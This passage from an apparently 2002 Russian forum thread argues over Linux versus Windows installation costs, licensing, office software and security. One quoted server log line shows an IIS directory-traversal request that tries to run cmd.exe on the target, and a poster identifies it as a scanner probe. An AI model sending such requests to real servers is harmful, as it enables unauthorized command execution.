е работает и в нем же услуги оказывает - под >линуксом та же услуга почти в 3 раза дороже.

Мы все таки говорим о цене владения или просто выкручиваемся?
Если установок для линукса требуется в три раза меньше за те же три года, то не выгоднее ли заплатить за линукс втрое больше и остаться с меньшей стоимостью владения из за меньших потерь от простоев?

> платить в три раза больше - грех не брать эти деньги. дык батенька > тут же рынок... спрос и предложение. т.е. саморегуляция должна
> быть... никто не будет кому-то платить в 3 раза больше, когда это >можно сделать за 3 раза меньше. т.е. тут явное нарушение пропорция >спрос/предложение...

Верно :) Вот если вы нацдете установку линукса на одних и тех же условиях с разными ценами и одинаковым сервисом и гарантиями - берите где дешевле. А если сравниваете цены на разные продукты (хоть и замещающие друг друга), то опять таки берите где дешевле в ИТОГЕ. А так скупой платит дважды (трижды, но в три раза дешевле).

>А с установкой Виндов все понятно - спрос/предложение уже утряслись >и цены на рынке более-менее правильные. Цены и условия.

То есть виндовс дешевле не будет? а вот и без того недорогой линукс еще может подешеветь?
Так и запишем.


> позвоните локальному партнеру МСа и попросите их посчитать лицензии
> так и так. далее сравнивайте, прикладывайте свою ставку
>рефинансирования, проекцию собственных анализов трендов доллара к
> рублю и вперед!


как же мы любим навести туману... :)
Опять бессильные отговорки.
Как то пытал тут немца про эксплуатационные параметры одной установки, так он на простые вопросы о ресурсе компонент тоже мялся, говорил, что техника не входит в профсоюз и потому будет работать, сколько скажут и нес еще много всякой чепухи такого же плана про построение тренда повдения евро к доллару, но в итоге сдался и выяснилось, что он он втрое навешал лапши нашему директору...
Все мошенники одинаковы...


>То есть обслуживание все равно имеет место быть? угу, сервер >пропылесосить, картридж заменить, нового пользователя завести...

ну так в линуксе тем более...

>ну и как удаленно картридж в лазернике заминить или сервер
>пропылесосить?

:))
эти затраты одинаковы и вообще к типу ОС не имеют отношения.
Опять попытки заболтать конкретные различия в общем целом.
напоминаю, вам еще 4000 баксов разницы + проценты на срок возврата и вероятность форсмажора или просчетов планирования надо нарыть, чтобы только сравнятся по привлекательности с решениями на линукс...

А вот переустановить виндос или зайти на нее удаленно, когда она просто не грузится - точно не получится. Внимание вопрос - насколько чаще виндос неспособна к удаленному управлению?

>я сканировал кучу разных сетей... скажу по секрету... Линуксов с >задранной юбкой и с руткитом стоит на просторах нашей необъятной >родины немерянно... просто ломать винды сейчас круто, а линукс типа >себе же в колодец плевать... основной массе не по карману.

Это ваши объяснения. реальность несколько другая. Вируса под юникс появились, когда еще не было виндозы. Однако теперь она впереди...
Для 30% линукса и столько же Bsd можно было бы со времен червя Моррисона что нибудь придумать... А вот для 40% виндос не лень, однако.

>А вот линукс вполне. ну так там винды из коробки... давайте поставим >линукс из коробки и посмотрим чего там с дешевизной...

anonymous
()


давайте. большинство живут с нимбдой потому что по умолчанию ставится IIS. найдите его в линуксе. Никто не лжет, что установка линукса не требует подготовки или обучения, в отличии от рекламы виндос.

>и как только линукс дойдет до состояния простоты установки
>аналогичной виндам и туда полезет толпа чайников, так будут тут же
>побиты все рекорды нимбды, но уже под линуксом.
еще раз. простота линукса != простота виндовс.
Линукс прост, потому что имеет стройную логику своего построения, имеет мощную систему управлением своих компонентов (APT), корректных апдейтов и апгрейдов. Другими словами линукс прост в настройке сколь угодно большой глубины. Линукс прост контроле настроек. Линук прост в отрезании всего потенциально опасного (никто не ставит вам насильно свой мессенжер или IIS или IE).
Виндовс проста в плане скрытия большинства настроек (то есть навязываются потенциально опасные дефолтные настройки), в плане закрывания глаз (виндозный syslog просто убогий), в плане установки жесткого набора компонент и ... рекламы.
Все это и привело к таким плачевным результатам, а вовсе не активность студентов-вирусописателей.

anonymous
()

2 anonymous (*) (2002-08-13 10:50:30.799)

>>>Да потому что ровно те самые виндовозные админы на работе, тут являются самыми отъявленными линуксоидами,<<<

Это все равно, что списывать нестабилно работающее железо на магнитные бури. То есть это просто слова, причем ни чем не обоснованные.

>>>просто иначе объяснить такое кол-во рассказов про кривизну винды просто не возможно, потому как чтение форумов на ixbt на пример наводит на мысль что проблемы которые случаются на виндовсе не так уж и часты и в основном завязыны на не понимание системы, при этом ужасных историй провигдовс *тут* на порядки больше чем на ixbt где по идее их должно быть все же больше чем на линуксоидном сайте. <<<

Ты сам-то на хоботе давно был? Загляни в разделы "Техническая поддержка" и "Программы: OС и системное ПО". И все встанет на свои места.

Dao_Dezi
()

>приведите плиз список областей, в которых линукс "рулил" году так в >1996-1997. хотя бы где он бздшную линейку уделывал.

2 PTO: поддержка AppleTalk, как следствие - AppleShare сервер на Линуксе
под маки, поддержка IPX, как следствие - аналог Novell сервера 3.12 для
писюков. Может еще объяснить, почему это было так важным в те года?
Ах да, эмуля линукса в бзд еще небыло, где то в конце 96 и начале 97
что то появилось, но самый прикол был в том, что был WABI (Win'3.1)
для Линукса в те года, за деньги, аналог WinOS/2, для работы ворда
и экселя было достаточно. Еще много чего можно добавить, даже работу
с печатью, во фряхе она была наикревейшая.......

anonymous
()

2 anonymous (*) (2002-08-12 19:23:37.638):

        Cygnus и Slackware были прибыльными до бума.

А можно источник информации о _прибыльности_ данных контор? На сколько я знаю, они пока
живут на пожертвования, тьфу, на инвестиции, и даже на зарплату народа не зарабатывают.

2 anonymous (*) (2002-08-12 23:18:43.053):

         http://www.coast.ru/price/vydelen.html 
         Установка и настройка Линукс(Unix) маршрутизатора 2000 400 2400 

Я торчу... настройка линукса (тока как маршрутизатора) дороже вдвое настройки кошки... 
причем стоимость настройки кошки дороже сильно, чем настройка ее же в крутой конторе 
человеком с CCIE... 
Ну и где там цены на установку НТ?! Ах не оказывают... еще раз - прошу найти сноску на 
контору, которая ставит то и это... потом поговорим.


         демос раньше чуть не пятерную сумму брал за хостинг на NT, а сейчас, смотрю,
         просто перестал оказывать эту услугу. 

Зато появилась кучка и еще тележка контор, которая профессионально занимается хостингом 
приложений на НТ... причем по лицензии АСП, когда можно платить по чуть-чуть в месяц
и не покупать лицензии.

         я ставлю линукс за 50 баксов. Еще раз. трудоемкость установки линукса заметно 

повторяю вопрос - что именно вы поставите в вашем понимании "линукс", какую гарантию вы мне 
дадите?

>Можно список контор, что проводят курсы по опенофис... график, >программу курса, цены? 

        см www.altlunux.ru (курсы на базе МАИ) 
 
читаем программу курсов - http://www.mai.ru/dep/ind/linux_alt.htm
где там ОО для секретуток?

        www.asplinux.ru (тоже в каком то вузе) 

программы обучения нет. насколько я слышал от знакомых курсы тоже только для админов.

        Эксель идет в составе целого монстра. Его даже поставить не каждый сможет. Кроме 

Эксель есть отдельный продукт. поскольку помимо экселя люди пользоваться еще вордом и 
оутлуком хотят, то есть бандл - Офис, где все продукты, но вместе дешевле, чем по 
отдельности. Ставится путем втыкания СД, с автозапуском, помощью на всех этапа установки.
Простите, а что нужно сделать чтобы поставить ГНУмерик?

        наличие целой кучи функций и модулей, которыми пользователь _никогда_ не
        воспользуется, 

Т.е. функциональная насыщенность это грех? дык может всем вообще на счетах считать, а то в 
компах стока функций, ими пользователь никогда не воспользуется... вон в мандрейке 
праздновали 10000ю какашку в виде пакета добавленную... так и вижу юзерей, что 10000 пакетов 
просматривает

         не сбойнул, а его функций оказалось достаточно. Переходить на OpenCalc не 
         потребовалось. 

достаточно кому? сисадмину? или финансовому аналитику компании?

         Гнумерик _АДЕКВАТЕН_, а сравнивать его с разлапистым екселем приходится за 
         неимением лучшего в Виндовс. 

для виндовс есть как минимум вагон и маленькая тележка электронных таблиц - на любой вкус, 
от бесплатных, до коммерческих продуктов, от примитивных (типа ГНУмерика), до серьезных 
профессиональных инструментов.

Сравнивать ГНУмерик и Эксель могут только красноглазые товарищи, что до этого сравнивали фотошоп с гимп-ом.

         понятным. winamp не похож на ворд и тем не менее понятен... 

винамп похож на видеомагнитофон, проигрыватель дисков и т.п.. т.е. что-то, что пользователь
уже знает в реальной жизни и обучился этому хоть как-то. Т.е. работает ассоциативная логика
у пользователей. В реальной жизни с электронными таблицами люди не встречаются (только с
обычными), посему интерфейс у них "табличный"... посмотрите на скриншот гнумерика - это 
копия скриншота Экселя разлива 95го года...

         Унификация интерфейса, как требование, это по сути пригибание пользователя к 
         неудобным костылям, но зато одного размера и формы. 

Вы конечно будете смеяться, но большинство вещей в нашем мире стандартизовано и 
унифицированно. когда вы покупаете стиральную машину, она (как правило) имеет стандартную 
высоту, ширину (чтобы легко можно было поставить ее на кухне, не выпиливая кастом рейки и 
доски. Интерфейс у них так же унифицирован - от какой фирмы не купи, у них у всех одинаковая 
резьба та заливной горловине. Да и управление ей более-менее похоже друг на друга.

        Я понимаю, почему это так важно в виндозе - пользователь привыкает быть вечно 
        согнутым и становится невоспримчивым к обучению, но авторам свободного софта
        глупо желать того же. Хотя бы из за отсутствия мотивации... 

Угу, поэтому эти свободные люди передирают интерфейс, лук энд фил коммерческого софта, а
после этого вешают на грудь барабан и с древком в заднице поют интернационал, т.е. гимн 
свободному софту и рассказывают сказки про круть и юзабельность интерфейса.

        тогда касперский, который для своего avp реализовал сей метод, теперь считается 
        изготовителем файрвола. буду знать :) 

нет, касперский только анализирует SMTP, и метод у них немного другой.

2 anonymous (*) (2002-08-13 02:17:52.026): 
        Списочек: 
        217.226.52.99 - - [11/Aug/2002:08:20:42 +0400] "GET            
        /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 316 

я тебе один умный вещь скажу, тока ты не обижайся (с) Мимино....
Это не поломанная НТ работает, а работает типовой сканнер уязвимостей, который натравил на 
тебя какой-то закоренелый друг.

2 null666 aka anonymous (*) (2002-08-13 08:02:16.573):

         И что? По утверждениям Ваших подчиненных, которые Вы передали нам уровень этих 
         людей не изменился => они должны также усваивать материал. Ан нет... Не выходит 
         каменная чаша. Так что не нужно заливать про обучаемых, раз сами с ними не 
         работаете. 

есть небольшие изменения в лучшую сторону... в школе информатика, комп покупают детям...
пишите диссер - буду оппонентом, там и поспорим - вы с цифрами, я с цифрами.

         Ну парочка-то найдется по-любому. А anonymous (*) (2002-08-12 23:18:43.053) уже и 
         курсы спциально для Вас нашёл. 

дык покажите книгу для простого пользователя ОО или ГНУМерика... а тот ананимус дал сноски 
на курсы для админов, а не для пользователей КВорда и ГНУмерика и Ко.

         тебе вибираем." Смысл выбирать из кучи клонированных книг? Лучше уж пусть будет 2 
         штуки, но зато нормальных. 

а почему тогда клонированных дистров линукса десятки или сотни? а одинаковых по большей
части прилад на ней по сто на функцию... это же линукс вей, свобода выбора...


         Ну что же проверим. Объявление конца 95-начала 96 годов. "Требуется оператор ПК. 
         Знание электронных таблиц ..." Название какого софта нужно подставить вместо ... 
         чтобы получилось правильное объявление. 

и? где проверка на количество книг вышедших в России с серердины 95 года?

         Да офис это конечно здорово. Только не нужно забывать, что появился он позже Винды
         - это раз. Второе - разрабатывала его та же корпорация. А про симантековские 

ОФИС ВЫШЕЛ В ОДИН ДЕНЬ. Если не знаете, то лучше промолчите. я участие в ланч эвент принимал
и этот офис показывал. А еще тренировал московский техсуппорт по Вин95 и Офис95 по 
поддержке.

         утилиты что-то не помню. В то время все почему-то юзали nu8.rus. А ещё Dr.Web 
         ДОСовский. 30 игрушек это Вы про пасьянс, сапёра и прочие дешёвые поделки? 
         Напомнить про WarCraft2, Quake, LBA и прочее? 

И утилиты вышли, ибо старые не понимали длинные имена на ФАТе, и антивирусы вышли в тот же
день + куча других приложений (факс сервера, базы данных, бизнес-приложения).
И игрушки вышли - одна мне так понравилась, что я ради этого купил не только ее (Fury3), но
и джойстик крутой.

         А что team development это такое ноу-хау? До ОфисХР этого нигде не было да? Дружно 
         скажем дяде Билли громкое спасибо. Ведь он нам открыл team development и интернет. 

было, но в ОфисХР оно организуется проще и дешевле, меньше нагрузка на ИТ департмент - 
результат быстрее развертывание инфраструктуры, снижение расходов и повышение 
производительности работников умственного труда

         Я решение для Линукса не задумываясь выдаю? Да, это что-то новенькое. Пойти чтоли 

а про NIS (NFS по вашему) не вы выдавали ответы? не понимая что это такое и с чем его едят, 
даже как называется не знали... или это были не вы, а другой ананимус - сорри, они у меня 
все на одно лицо

         Линукс-админом устроится раз я так крут? Разбираться про Винды? Так в них же не 
         нужно разбираться. Интуитивно-понятный интерфейс, сравнение с женской грудью и
         всё такое... 

это кто такое сказал? его величество красноглазый ананим?

         Где, где. В КДЕ. Помнится разговор был не про это. Разговор был про то, что Винда 
         такая единственная и неповторимая, легкая для освоения, и все остальные в плане 
         юзабилити и рядом не стояли. А на самом деле... В общем как обычно пиар.
         "Покупайте нашу лапшу, она на ушах дольше всего висит". 

А на самом деле - единственный по качеству юзабилити продукт сильно дороже и жестко
привязывает под свое железо.

         RFC по NetBIOS'у, да Вы правы он очень древний, по нему ещё игрушки под ДОС'ом 
         работали. CIFS - мелкая часть SMB. Где спецификация самого SMB? 

там вторая сноска была.

2 anonymous (*) (2002-08-13 10:48:56.8)
         столько же, сколько гигант Микрософт - 5 баксов... 

ну МС вернет всю стоимость лицензии, а это уж никак не 5 баксов будет. да и софт обычно 
покупают в составе лицензии и там ответственность прописывается в договоре... а там 
могут быть и более существенные суммы.

         >что за эти 50 баксов будет делать линукс? 
         стандартная установка. 

какого дистра по какому типу инсталяции?

         > какие сервисы оно будет реализовать? 
         см.содержание папки /etc/init.d в дистрибутивах альтлинукса. 

а АльтЛинукс какой?

         Мы все таки говорим о цене владения или просто выкручиваемся? 

это вы выкручиваетесь... установка линукса в 3 раза дороже, поддержка ее будет судя по
всему так же дороже... итого за 3 года стоимость установки и поддержки сожрет стоимость 
лицензии... я уж не говорю про стоимость обучения/переобучения, поиска и портирования 
бизнес-приложений, прочих грабель и вил.

         Если установок для линукса требуется в три раза меньше за те же три года, то не 
         выгоднее ли заплатить за линукс втрое больше и остаться с меньшей стоимостью 
         владения из за меньших потерь от простоев?

А с чего это потребуется установок в три раза меньше? Ставим СБС _один_ и он работает 
безо всяких переустановок... тока пылесось его иногда, но тут разницы между линуксовым
сервером и под НТ нету.

2 anonymous (*) (2002-08-13 10:55:08.408):

          Опять бессильные отговорки. 

позвонить некому?
Ок. приведу _грубые_ оценки. (точно посчитать невозможно не зная что и как лицензируется
- там очень много опций и всего такого).
если обычная лицензия стоит 1000 долл., то по подписке она будет стоить 400-450 долл. в год, при этом все новые версии будут идти бесплатно. Т.к. новые версии выходят через 2 года (в среднем), а стоимость апргейда примерно 650 долл., то получается, что по итогам 3х летней работы мы заплатим 1200-1350 долл., вместо 1650 если переходить на новую версию.

          Все мошенники одинаковы... 

вы меня назвали мошенником?


          Это ваши объяснения. реальность несколько другая. Вируса под юникс появились, 
          когда еще не было виндозы. Однако теперь она впереди... 
          Для 30% линукса и столько же Bsd можно было бы со времен червя Моррисона что 
          нибудь придумать... А вот для 40% виндос не лень, однако. 

откуда 40% оценка? и вы понимаете разницу между руткитом и вирусом?

PTO
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.